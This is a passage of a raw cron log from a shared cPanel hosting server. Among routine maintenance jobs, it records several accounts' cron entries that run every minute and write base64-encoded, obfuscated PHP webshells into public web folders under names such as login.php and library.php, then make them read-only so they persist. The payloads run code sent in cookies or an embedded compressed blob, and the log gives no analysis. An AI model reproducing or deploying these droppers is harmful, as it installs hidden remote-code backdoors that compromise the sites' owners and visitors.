"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:28:01 medusa CROND[5289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:28:01 medusa CROND[5297]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:28:01 medusa CROND[5440]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:28:01 medusa CROND[5441]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:28:01 medusa CROND[5442]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:28:01 medusa CROND[5443]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:28:01 medusa CROND[5444]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:28:01 medusa CROND[5445]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:28:01 medusa CROND[5449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:28:01 medusa CROND[5451]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:28:01 medusa CROND[5452]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:28:01 medusa CROND[5455]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:28:01 medusa CROND[5456]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:28:01 medusa CROND[5457]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:29:02 medusa CROND[28172]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:29:02 medusa CROND[28173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:29:02 medusa CROND[28174]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:29:02 medusa CROND[28175]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:29:02 medusa CROND[28176]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:29:02 medusa CROND[28177]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:29:02 medusa CROND[28179]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:29:02 medusa CROND[28180]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:29:02 medusa CROND[28178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:29:02 medusa CROND[28182]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 15:29:02 medusa CROND[28189]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:29:02 medusa CROND[28191]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:29:02 medusa CROND[28195]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:30:02 medusa CROND[18544]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:30:02 medusa CROND[18545]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:30:02 medusa CROND[18546]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18547]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:30:02 medusa CROND[18548]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:30:02 medusa CROND[18549]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
